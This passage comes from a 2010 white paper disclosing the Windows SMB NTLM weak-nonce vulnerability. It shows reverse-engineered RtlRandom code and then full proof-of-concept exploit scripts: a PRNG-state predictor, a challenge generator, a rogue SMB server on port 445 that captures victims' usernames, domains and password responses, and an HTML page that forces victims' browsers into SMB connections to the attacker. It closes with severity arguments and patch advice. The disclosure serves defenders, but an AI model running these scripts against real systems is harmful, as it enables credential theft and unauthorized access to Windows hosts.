        KeQuerySystemTime(&CurrentTime);
        CurrentTime.LowPart += _EncryptionKeyCount;

        _EncryptionKeyCount += 0x100;

        CT = CurrentTime.LowPart;

        seed = CT[1], CT[2]-1, CT[2], CT[1]+1;

        random_number1 = ntoskrnl.exe!RtlRandom(&seed);
        random_number2 = ntoskrnl.exe!RtlRnadom(&seed);
        random_number3 = ntoskrnl.exe!RtlRandom(&seed);


        if ( (random_number3 & 1) == 1) {
                random_number1 |= 0x80000000
        }

        if( (random_number3 & 2) == 2 ) {
                random_number2 |=  0x80000000
        }

        *pChallenge =  bytes(random_number1, random_number2);
}
```

The code for ntoskrnl.exe!RtlRandom(&seed) is the following:

It receives the seed and performs the following calculations:

```
        X0 = *seed;
        X1 = (a*X0 + b ) mod m
        where:
                a = 0x7FFFFFED
                b = 0x7FFFFFC3
                m = 0x7FFFFFFF
```

```
004B5B75                mov     edi, edi
004B5B77                push    ebp
004B5B78                mov     ebp, esp
004B5B7A                push    ebx
004B5B7B                push    esi
004B5B7C                mov     esi, [ebp+Seed]
004B5B7F                mov     eax, [esi]
004B5B81                imul    eax, 7FFFFFEDh
004B5B87                push    edi
004B5B88                mov     ecx, 7FFFFFC3h
004B5B8D                add     eax, ecx
004B5B8F                mov     edi, 7FFFFFFFh
004B5B94                xor     edx, edx
004B5B96                mov     ebx, edi
004B5B98                div     ebx
```

        With the X1 value performs similar calculations:

```
                X2 = (a*X1 + b) mod m

        004B5B9A                mov     ebx, edx
        004B5B9C                mov     eax, edx
        004B5B9E                imul    eax, 7FFFFFEDh
        004B5BA4                add     eax, ecx
        004B5BA6                xor     edx, edx
        004B5BA8                div     edi

        It sets the value of seed to X2

        004B5BAA                pop     edi
        004B5BAB                mov     [esi], edx

        it calculates  (X2 & 0x7F) to generate an index for the
_RtlpRandomConstantVector

        004B5BAD                and     edx, 7Fh
        004B5BB0                lea     ecx, _RtlpRandomConstantVector[edx*4]

        and finally fetches the value found at the previously calculated index,
and also
        stores the value of X1 in that position.

        004B5BB7                mov     eax, [ecx]
        004B5BB9                pop     esi
        004B5BBA                mov     [ecx], ebx


        Next is pseudo-code for the function ntoskrnl.exe!RtlRandom:

        // Global variable
        DWORD ntoskrnl.exe!RtlpRandomConstantVector [128] = {...}

        DWORD ntoskrnl.exe!RtlRandom(DWORD *pseed)
        {
        DWORD a = 0x7FFFFFED;
        DWORD b = 0x7FFFFFC3;
        DWORD m = 0x7FFFFFFF;
        DWORD X0, X1, X2;

                X0 = *pseed;
                X1 = ( a*X0 + b ) mod m
                X2 = ( a*X1 + b ) mod m
                *pseed = X2;
                ndx = X2 & 0x7F;
                n = RtlpRandomConstantVector[ndx];
                RtlpRandomConstantVector[ndx] = X1;
                return n;
        }

        In Summary,

        The srv.sys!GetEncryptionKey() does the following:
                - Gets current time, takes the low part (4 bytes) and adds the
value of _EncryptionKeyCount (4-bytes)
                - Increments _EncryptionKeyCount by 0x100
```

- Takes the two 'middle' bytes of CT=(current time.lowpart + _EncryptionKeyCount) and creates a seed with the form CT[1], CT[2]-1, CT[2], CT[1]+1.
- Calls ntoskrnl.exe!RtlRandom three times and obtains three random numbers (random1,random2,random3)
- Depending on the value of random3, makes some modifications to random1 and random2
- creates the challenge by creating an array of bytes in the form random1, random2

The ntoskrnl.exe!RtlRandom function appears to be a Maclaren-Marsaglia PRNG algorithm using two LCGs (linear congruential generators) [4] with a vector of 128 bytes.

We know the following facts:

- _EncryptionKeyCount starts with a value of 0
- _EncryptionKeyCount is only modified by srv.sys!GetEncryptionKey. The code that calls srv.sys!GetEncryptionKey() is not regularly triggered, but only when the SMB service receives a packet like the one we use with the 'flags2' field set to 0xc001
- We have not observed 'modern' Windows systems (Windows XP SP3, Vista, 7, etc) generate these kind of packets
- This allows us to expect that before start conducting an attack against any 'modern' Windows system, _EncryptionKeyCount will always be 0; by keeping count of the number of packets we send, we can also calculate the value of _EncryptionKeyCount for further connections
- Interestingly enough, in our tests, the value of Current Time used by srv.sys!GetEncryptionKey to generate the seed was the same value returned by the SMB service to the client in the field 'System Time' of an 'SMB Negotiate Protocol Response' packet
- The initial state of the vector used by ntoskrnl.exe!RtlRandom is hard-coded, but it is modified every time the function is called and it is called every time a new process is created (modifications might not be that many).

Based on these facts we implemented the following attack to predict challenges:

- We set the vector used by ntoskrnl.exe!RtlRandom to a 'known state'
-To do this we send multiple 'SMB Negotiate Protocol Request' packets with the 'flags2' field set to 0xc001 to trigger srv.sys!GetEncryptionKey which in turns calls ntoskrnl.exe!RtlRandom modifying its internal vector (~300 packets)
-Since we know the seed used by the server to perform the previous actions, because it is in the 'System Time' field of the 'SMB Negotiate Protocol Response' packet we receive, and we also know all the other variables including the value of _EncryptionKeyCount, we can do the same calculations updating our own vector
-We repeat this process until all 128 values of our vector are calculated. At this point we know the state of the table on the remote system, we know all of its values and their position within the vector.

- We calculate all possible challenges that can be generated with that 'known state' next time srv.sys!GetEncryptionKey is called
- We force the victim to connect to our specially crafted SMB

server to get all those challenges encrypted with the credentials of the victim (an average of ~16000 to ~48000 possible challenges)

- At this point we know that if we send another authentication request to the victim the challenge returned will be one of the pre-calculated challenges. We make the connection, get the challenge, look for the corresponding response we obtained from the victim, and authenticate to the SMB service.

8.5.2.Proof-of-Concept Exploit

Next are the necessary steps to perform the attack:

- Run predictor.rb against the victim. E.g.: ruby predictor.rb 192.168.1.110

This script will show the progress of 'setting' the values of the victims RtlRandom's internal vector.

It will display something like this:

```
(0x00-0x04) 0x00000000 0x00000000 0x00000000 0x2948d15b
(0x04-0x08) 0x72f4dda5 0x00000000 0x14dbf86f 0x00000000
(0x08-0x0c) 0x00000000 0x62d2c31e 0x00000000 0x7ef9db03
(0x0c-0x10) 0x00000000 0x0dfdee4d 0x00000000 0x0ecd0d97
(0x10-0x14) 0x00000000 0x04d986e1 0x00000000 0x00000000
(0x14-0x18) 0x00000000 0x35fdf275 0x00000000 0x00000000
(0x18-0x1c) 0x00000000 0x47b6b289 0x00000000 0x00000000
(0x1c-0x20) 0x5b9a7eb8 0x00000000 0x00000000 0x3b150ecc
(0x20-0x24) 0x146909b1 0x7a3022b1 0x00000000 0x00000000
(0x24-0x28) 0x23bfb6e0 0x00000000 0x00000000 0x0e5c7c0f
(0x28-0x2c) 0x3f027a59 0x00000000 0x00000000 0x00000000
(0x2c-0x30) 0x00000000 0x00000000 0x6a3158d2 0x00000000
(0x30-0x34) 0x69d97001 0x2cd5c5e6 0x00000000 0x2cdcb5b0
(0x34-0x38) 0x00000000 0x00000000 0x00000000 0x00000000
(0x38-0x3c) 0x00000000 0x00000000 0x00000000 0x00000000
(0x3c-0x40) 0x08deca3d 0x4954003d 0x00000000 0x00f5b207
(0x40-0x44) 0x4de0efd1 0x00000000 0x00000000 0x56bf3780
(0x44-0x48) 0x25210c65 0x00000000 0x00000000 0x00000000
(0x48-0x4c) 0x00000000 0x00000000 0x00000000 0x00000000
(0x4c-0x50) 0x00000000 0x00000000 0x00000000 0x00000000
(0x50-0x54) 0x00000000 0x397415a1 0x34aa91eb 0x00000000
(0x54-0x58) 0x231aeb35 0x00000000 0x00000000 0x00000000
(0x58-0x5c) 0x00000000 0x04223749 0x00000000 0x1b4c91f8
(0x5c-0x60) 0x00000000 0x00000000 0x00000000 0x71ad9da7
(0x60-0x64) 0x00000000 0x00000000 0x00000000 0x046696bb
(0x64-0x68) 0x00000000 0x00000000 0x193b264f 0x439ef5b4
(0x68-0x6c) 0x5bdd2f34 0x00000000 0x00000000 0x481eaee3
(0x6c-0x70) 0x00000000 0x00000000 0x50b1e1f7 0x2a8d71dc
(0x70-0x74) 0x00000000 0x02240f41 0x0ae7948b 0x37af3d8b
(0x74-0x78) 0x00000000 0x00000000 0x77130a3a 0x640bf49f
(0x78-0x7c) 0x31665169 0x20a1c769 0x00000000 0x00000000
(0x7c-0x80) 0x6958e618 0x00000000 0x00000000 0x00000000
known values: 48/128
```

- When predictor.rb finishes, it writes the values of the vector to 'x_values.log' (it also generates a file 't_values.log' containing the 'current times' observed in the 'SMB Negotiate Protocol Response' packets).
- Run generate_challenges.rb, it will generate the file 'challenges.log' with all the possible challenges based on 'x_values.log'.

```
        - Run savecreds.rb, it will wait for incoming connections on port 445/tcp
        - On the victim, use 'predict.html' with Internet Explorer to perform SMB
connections to savecreds.rb's server
        You will need to change the IP address of the server where savecreds.rb is
running in 'predict.html', and
        also the number of connections to perform (look for the line: 'if (id ==
50000) {' and change accordingly).
        The number of connections that need to be performed is shown by
savecreds.rb.
        - When savecreds.rb is finished, a file 'fullcreds.log' will be created
        - Now use the metasploit module msf_smb_weak_nonce.rb as explained before
with the recently generated 'fullcreds.log' against the victim
        - You should be able to authenticate with the victim at the ~first attempt

        Sometimes the challenge is correctly 'guessed' at the first attempt, but
the attack fails because of some SMB error. If this happens please note that the
challenge was indeed correctly predicted.
        Also note that since the internal vector is not completely modified after
just one connection, the exploit will actually be able to predict more challenges
(you might be able to run the metasploit exploit multiple times before performing
the whole attack all over again).

        The predictor.rb assumes the EncryptionKeyCount is 0. If you want to run
the attack multiple times you
        just need to modify its value in predictor.rb. The value of
EncryptionKeyCount after the attack is displayed by predictor.rb when it
terminates (you need to use the value displayed + 0x100).

        After generate_challenges.rb is executed, if the number of possible
challenges is 'too big' (~48000 or more) you
        might want to run predictor.rb again. The size of the set of possible
challenges vary according to the values in the vector. Remember to adjust
EncryptionKeyCount before running predictor.rb. We recommend peforming the attack
when EncryptionKeyCount is 0 specially if this is the first time this proof-of-
concept is used.

        This is just a proof-of-concept exploit, it can be improved and optimized.

====savecreds.rb====:
# Windows SMB NTLM Authentication Weak Nonce Vulnerability
# (c) 2010 Hernan Ochoa (hernan@gmail.com)
# This script waits for incoming connections on port 445/tcp and responds with
# a set to challenges, and stores the responses.

require 'socket'
require 'time'


# from metasploit...
# framework-3.2/lib/rex/proto/smb/utils.rb
def time_unix_to_smb(unix_time)
        t64 = (unix_time + 11644473600) * 10000000
        thi = (t64 & 0xffffffff00000000) >> 32
        tlo = (t64 & 0x00000000ffffffff)
        return [thi, tlo]
end

def waitforcreds(thenonces, num)
```

```
        nonces_ndx =  0
        conn_num = 0
        maxn = num


        neg_proto_response_1 =
        "00000051" + # NetBIOS Session Service header
        "ff534d4272000000008801c0000000000000000000000000fffe00000000" + # SMB
Header
        "1105000302000100041100000000010000000000fde30000007632d28015ca010000080c0
0e486962656d5869400000000"  # Negotiate Protocol Response

        session_setupandx_access_denied =
        "00000023" + # NetBIOS Session Service Header
        "ff534d4273220000c08801c0000000000000000000000000fffe00000400000000" +
# SMB Header
        "000000" # Session and SetupX Response payload


        creds_filename = "fullcreds.log"

        if File.file?( creds_filename ) then
                File.delete( creds_filename )
        end


        server = TCPServer.open(445)
        loop {

                if conn_num > maxn
                        Thread.exit
                        return
                end

                Thread.start(server.accept) do |client|

                        conn_num = conn_num + 1
                        if conn_num > maxn
                                puts "done!"
                                client.close()
                                server.shutdown
                                Thread.exit
                                return
                        end
                        puts conn_num


                        # (1) receive Negotiate Protocol Request

                        q, x = client.recvfrom(2000)
                        puts "neg proto request received"
                        pid1 = q[0x1e]
                        pid2 = q[0x1f]
                        multi1 = q[0x1e+4]
                        multi2 = q[0x1f+4]

                        # (2) send Negotiate Protocol Response
```

```
                        # set challenge in response packet
                        puts thenonces[nonces_ndx].to_s
                        neg_proto_response_1[146..146+15] =
thenonces[nonces_ndx].chomp
                        # TODO: SET CORRECT TIME
                        timehi, timelo = time_unix_to_smb(Time.now.to_i)
                        # send packet
                        n = neg_proto_response_1.scan(/../).map { |s| s.to_i(16) }
                        # set process id
                        #puts pid1
                        #puts pid2
                        #puts multi1
                        #puts multi2
                        n[0x1e] = pid1
                        n[0x1f] = pid2
                        n[0x1e+4] = multi1
                        n[0x1f+4] = multi2

                        s = ("%.8x" % timelo)
                        ss = s[6].chr + s[7].chr + s[4].chr + s[5].chr + s[2].chr
+ s[3].chr + s[0].chr + s[1].chr

                        dlo = (ss.scan(/../)).map { |s| s.to_i(16) }

                        s = ("%.8x" % timehi)
                        ss = s[6].chr + s[7].chr + s[4].chr + s[5].chr + s[2].chr
+ s[3].chr + s[0].chr + s[1].chr

                        dhi = (ss.scan(/../)).map { |s| s.to_i(16) }

                        n[0x3c..0x3c+3] = dlo
                        n[0x40..0x40+3] = dhi

                        # timezone = 0
                        #n[0x45] = 0
                        #n[0x46] = 0
                        j = n.pack("C*")
                        client.write(j)
                        puts "neg proto response sent"

                        # (3) Receive Session Setup andX Request
                        q, x = client.recvfrom(4000)
                        puts "session setup andx request received!"
                        pid1 = q[0x1e]
                        pid2 = q[0x1f]
                        multi1 = q[0x1e+4]
                        multi2 = q[0x1f+4]

                        # we assume the first request is anonymous
                        # and we send back an Error: STATUS_ACCESS_DENIED
                        n = session_setupandx_access_denied.scan(/../).map { |s|
s.to_i(16) }
                        n[0x1e] = pid1
                        n[0x1f] = pid2
                        n[0x1e+4] = multi1
                        n[0x1f+4] = multi2
                        #n[0x44/2] = pid1multi1
```

```
                        #n[0x45/2] = multi2
                        #n[0x3c/2] = pid1
                        #n[0x3d/2] = pid2
                        #puts n

                        begin
                                j = n.pack("C*")
                        rescue
                                puts $!
                        end

                        client.write(j)
                        puts "session setupandx access denied sent!"

                        # (4) Receive Session Setup andX Request with creds
                        q, x = client.recvfrom(4000)
                        puts "session setup andx request with creds received!"

                        # Get the ANSI Password
                        ansi_pwd = q[0x41..0x41+23]
                        ansi_pwd_s = (ansi_pwd.unpack("C*").map { |v|  ("%.2x" %
(v)).chomp }).to_s
                        puts ansi_pwd_s

                        # Get the Unicode Password
                        unicode_pwd = q[0x59..0x59+23]
                        unicode_pwd_s = (unicode_pwd.unpack("C*").map { |v|
("%.2x" % (v)).chomp }).to_s
                        puts unicode_pwd_s

                        # Get the username (0x71)
                        i = 0
                        v = 0
                        username = ""
                        while v == 0
                                if q[0x71+i] == 0 and q[0x71+i+1] == 0
                                        v = 1
                                end
                                if q[0x71+i] != 0
                                        username = username + q[0x71+i].chr
                                end
                                i = i + 1
                        end

                        i = 0x71 + i + 1
                        domain = ""
                        v = 0
                        k = 0
                        while v == 0:
                                if q[i+k] == 0 and q[i+k+1] == 0
                                        v = 1
                                end
                                if q[i+k] != 0
                                        domain = domain + q[i+k].chr
                                end
                                k = k + 1
                        end
```

```
                        puts username
                        puts domain

                        File.open(creds_filename, "a") { |f|
f.write( thenonces[nonces_ndx].to_s + "," + ansi_pwd_s + "," + unicode_pwd_s + ","
+ username + "," + domain + "\n") }

                        client.close
                        nonces_ndx = nonces_ndx + 1

                end
        }

end

def savecreds()

        nonces = []
        nonces_filename = "challenges.log"

        # load nonces to send to the victim
        data = ""
        File.open(nonces_filename, 'r') { |f| data = f.read() }
        nonces = data.split(/\n/)
        num = nonces.length
        puts "waiting for " + num.to_s + " connections..."

        # wait for victim to encrypt the nonces
        waitforcreds(nonces, num)

end



# MAIN

        print "Windows SMB NTLM Authentication weak nonce Vulnerability"
        print "\n(c) 2010 Hernan Ochoa (hernan@gmail.com)\n"

        # now, we expect connections from the victim
        # so we can use those connections to have the victim
        # encrypt the nonces with the hases of his/her password
        #the connections can be forced by
        #using the classic technique of sending an email
        #with link to a web page, a web page that may contain html tags like
        #<img src="\\<attacker>\pepe">
        # for each <img> tag the victim will initiate 4 connections (it retries
automatically..)
        # so that's good for an attacker, lowers the number of
        # connections it needs to force from the victim

        puts "waiting for connections from victim"
        savecreds()

====predict.html====:
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
</head>
```

```
<body>
  <div id="image"></div>
  <div id="efficiency"></div>
  <div id="progress"></div>
  <div id="state"></div>
  <div id="url"></div>
  <div id="text"></div>
  <div id="response"></div>
</body>
</html>

<script type="text/javascript">
  id = 0
  target_unc = "\\\\192.168.1.130\\c$\\j.txt"
  target_http = "http://192.168.1.130/"
  window.onload = function() {
    set_handled_image_element("image", target_unc + id);
  }

  set_image = function() {
    var target = "";
    if (id % 2 == 1)  {
      target = target_unc;
    } else {
      target = target_http;
    }
    set_handled_image_element("image", target + id);
  }

  set_text_element = function(id, text) {
    document.getElementById(id).innerHTML = "" +
      "<p>" +
        text +
      "</p>";
  }

  set_image_element = function(id, image) {
    document.getElementById(id).innerHTML = "" +
      "<img" +
        " src = '" + image + "'" +
      " />";
  }

  set_handled_image_element = function(id, image) {
    document.getElementById(id).innerHTML = "" +
      "<img" +
        " src = '" + image + "'" +
        " onLoad = 'image_on_load()'" +
        " onError = 'image_on_error()'" +
        " style = 'display: none'" +
      " />";
  }

  image_on_load = function() {
    id += 1;
    if (id == 50000) {
      set_image_element("image", "");
      return;
```

```
    }
    set_text_element("progress", "attempt: " + id/2);
    set_text_element("image", "image");
    set_image()
  }

  image_on_error = image_on_load
</script>

====predictor.rb====:
# Windows SMB NTLM Authentication Weak Nonce Vulnerability
# Proof-of-concept challenge predictor exploit
# Hernan Ochoa & Agustin Azubel

require 'socket'

class LinearCongruentialGenerator
  def initialize a, b, m
    @a = a
    @b = b
    @m = m
  end

  def apply x
    y = ( ( ((@a * x) & 0xffffffff) + @b) & 0xffffffff) % @m
  end
end

class RtlRandomLinearCongruentialGenerator < LinearCongruentialGenerator
  def initialize
    a = 0x7ffffed # 2 ** 31 - 19
    b = 0x7fffffc3 # 2 ** 31 - 61
    m = 0x7fffffff # 2 ** 31 - 1
    super a, b, m
  end
end



class SmbSeedGenerator
  def apply t
    # seed = CT[1] || CT[2]-1 || CT[2] || CT[1]+1
    t_1 = (t & 0xffff) >> 8
    t_2 = (t & 0xffffff) >> 16

    seed = 0;
    seed |= t_1
    seed <<= 8;

    seed |= t_2 - 1
    seed <<= 8

    seed |= t_2
    seed <<= 8

    seed |= t_1 + 1

    seed
```

```
  end
end


module DumpableValues
  def dump
    File.open "#{@name}.log", "w+" do |f|
      each do |value|
        line = "0x%x" % value
        f.puts line
      end
    end
  end
end


class TValues < Array
  include DumpableValues
  def initialize
    super
    @name = "t_values"
  end
end


class JValues < Array
  include DumpableValues
  def initialize
    super 128, 0
    @name = "j_values"
  end
end


class XValues < Array
  include DumpableValues
  def initialize
    super 128
    @name = "x_values"
    @known_count = 0
  end

  def show
    system "clear"
    items_per_row = 4
    rows = length/items_per_row

    (0...rows).each do |row|
      i = row * items_per_row
      print "(0x%02x-0x%02x) " % [ i, i + items_per_row ]
      puts self[ i, items_per_row].map { |value| "0x%08x" % value }.join(" ")
    end
    puts "known values: %d/%d" % [ @known_count, length ]
  end

  def []= i, x
    @known_count += 1 unless self[i]
    super i, x
```

```
  end
end


class RtlRandomAttack
  def initialize host
    @host = host

    @lcg = RtlRandomLinearCongruentialGenerator.new
    @sg = SmbSeedGenerator.new

    @encryption_key_count = 0

    @t_values = TValues.new
    @x_values = XValues.new
    @j_values = JValues.new
    @attempts = 0
    @count = 0
    @max_count = 128
  end

  def getChallenge
    port = 445
    neg_proto_packet_1 =
        "00000054" +
        "ff534d4272000000001801c000000000000000000000000000008661000054800031000024
c414e4d414e312e3000024c4d312e325830303200024e54204c414e4d414e20312e3000024e54204c4
d20302e313200"

        # connect and send Negotiate Protocol Request
        so = TCPSocket.open(@host, port)
        n = neg_proto_packet_1.scan(/../).map { |s| s.to_i(16) }
        j = n.pack("C*")
        so.write(j)
        resp = so.recvfrom(2000)

        j = resp.to_s[0x49..0x49+7]
        vuelta = j

        test = j.unpack("C*").map { |v|  ("%.2x" % (v)).chomp }
        challenge = test.to_s

        t = resp.to_s[0x3c,4]
        tt = t.unpack("C*").map  { |v|  ("%.2X" % (v)).chomp }

        return  tt[3]+tt[2]+tt[1]+tt[0]
  end

  def run
    loop do
      t = getChallenge
      t = t.to_i 16
      @t_values.push t
      t += @encryption_key_count

      x0 = @sg.apply t
      3.times do |t|
        x = @lcg.apply x0
```

```
        y = @lcg.apply x

        j = y % 128

        @j_values[j] += 1
        @x_values[j] = x

        x0 = y
      end

      @x_values.show
      break unless @j_values.include? 0
      @encryption_key_count += 0x100
      @attempts += 1
      #break if @attempts == 3000
    end
  end

  def report
    (0...128).each do |j|
      puts "[0x%02x: 0x%02x]: 0x%08x" % [ j, @j_values[j], @x_values[j] ]
    end

    puts "%d attempts" % @attempts
    puts "encryption_key_count: %x" % @encryption_key_count

    @x_values.dump
    @t_values.dump
  end
end

raise RuntimeError, "invalid parameters!" unless ARGV.length == 1
attack = RtlRandomAttack.new ARGV[0]
attack.run
attack.report


### test values
#m = 2 ** 31 - 1
#ct =   0xf2449d5a
#kc =   0x00572c00
#seed = 0xc99a9bca
#x =    0x9866fc06
#j =    0x12

====generate_challenges.rb====:
#!/usr/bin/env ruby -w

# Windows SMB NTLM Authentication Weak Nonce Vulnerability
# Proof-of-concept challenge predictor exploit
# challenges generator
# Hernan Ochoa & Agustin Azubel


x_values = Array.new  128
File.open "x_values.log", "r" do |f|
  f.readlines.each_with_index do |line, i|
    x_values[i] = line.to_i 16
```

```
  end
end

def swap n
  s = "%08x" % n
  return s[6,2] + s[4,2] + s[2, 2] + s[0,2]
end

challenges = Array.new
x_values.each do |x|
  x_values.each do |y|
    next if x == y
    a = swap(x) + swap(y)
    challenges.push a

    b = swap(x | 0x80000000) + swap(y)
    challenges.push b

    c = swap(x) + swap(y | 0x80000000)
    challenges.push c
  end
end


File.open "challenges.log", "wb+" do |f|
  challenges.sort.uniq.each do |c|
    f.puts c
  end
end
```

9.Clearing up some misconceptions

To perform passive replay attacks the attacker needs to be able to eavesdrop NTLMv1 requests and responses performed by other systems on a network; this requires these systems to perform authentication using NTLMv1 which is not the rule nowadays for modern versions of Windows . However, it is not uncommon to observe networks, specially belonging to very big companies, with Windows NT4 servers, legacy systems, SAMBA, and other legacy SMB implementations using NTLMv1, which makes passive replay attacks a possibility.

Given that this vulnerability has been present since Windows NT4 was released when NTLMv1 was even more widely used than today, it is interesting to think how likely to happen this kind of attack was at that time.

Although some of the exploitation scenarios described in this white paper might be similar to the scenarios used by SMB **relay** attacks, these are two different unrelated attacks. This is a new and different vulnerability and MS08-068 does not address it.

Also, a replay attack is not the same as a relay attack.

10.Vulnerability scope and severity

Microsoft classified this vulnerability with a risk score of 'Important' and as an

'elevation of privilege' vulnerability. We discussed this with Microsoft and we respectfully disagree, we think this is a Critical vulnerability.

Why we think this is a critical vulnerability?:

- Exploit code is available (we released fully functional exploit code)
  - The code has a harmless payload but can be easily changed by an skilled attacker
- Leads to remote code execution (using DCE/RPC)
- Leads to read/write access to remote resources
- All versions of Windows are affected! They've been vulnerable for at least 14 years!
- This is a flaw in something as basic as the authentication mechanism!
- There's no fix for Windows NT 4 because it is not longer supported by Microsoft
- Windows 2000 systems might be out of the patch cycle and might remain vulnerable
- Appliances/Software that uses a particular version of Windows that does not get updated will remain vulnerable
- By definition, it is our understanding that an 'elevation of privilege' occurs when one has certain level of access and by exploiting some flaw, elevates its privileges. In this case, an attacker with no privileges at all, with no credentials, can exploit the vulnerability and execute code or read/write data on a remote system. The attacker had no access, and then gained access. So we think this is not an elevation of privilege vulnerability. If we were to say this is an elevation of privilege vulnerability, we could also say that a remote buffer overflow is also an elevation of privilege vulnerability because the attacker does not have access to a system, exploits the buffer overflow, and gain access. We don't think this is the case.

All in all, we mention this because we fear that a classification of 'important' and 'elevation of privilege' might lead people to believe the vulnerability is not that serious and decide not to upgrade their systems. Our opinion is that this vulnerability is critical and should be patched immediately.

11.Conclusions

This is a critical vulnerability and we recommend to patch it immediately.

If your network has Windows NT4 servers, since there is not patch available, you need to apply a workaround such as blocking all incoming NTLMv1 auth attempts to those systems and to any other legacy system. If this is not possible, you have a problem.

If you have Windows 2000 servers be sure to apply the patch, manually if needed. If you have appliances/software that use Windows as the base OS, make sure to update those. Many appliances/software do not allow users to update the base OS, if this is the case, you'll need to contact the vendor.

And finally, as it was said at the beginning, it is amazing how something we all assumed was working correctly, the Windows authentication mechanism, really wasn't. This vulnerability should reinforce the idea, once again, of never assuming everything, on the contrary, always question everything.

Also remember that cryptography is hard, and implementing a cryptographic protocol is not a simple task. Next time you're auditing a system, if you see a call to random(), don't assume it will just work.. analyze it!.

12.References

[1] Microsoft SMB Protocol and CIFS Protocol Overview
http://msdn.microsoft.com/en-us/library/aa365233(VS.85).aspx

[2] Microsoft NTLM
http://msdn.microsoft.com/en-us/library/aa378749(VS.85).aspx

[3] Microsoft Security Bulletin Advance Notification for February 2010
http://www.microsoft.com/technet/security/Bulletin/ms10-feb.mspx

[4] Bruce Schneier, Applied Cryptography (Second Edition), 1996.
Chapter 16, pp 369.

13.Disclaimer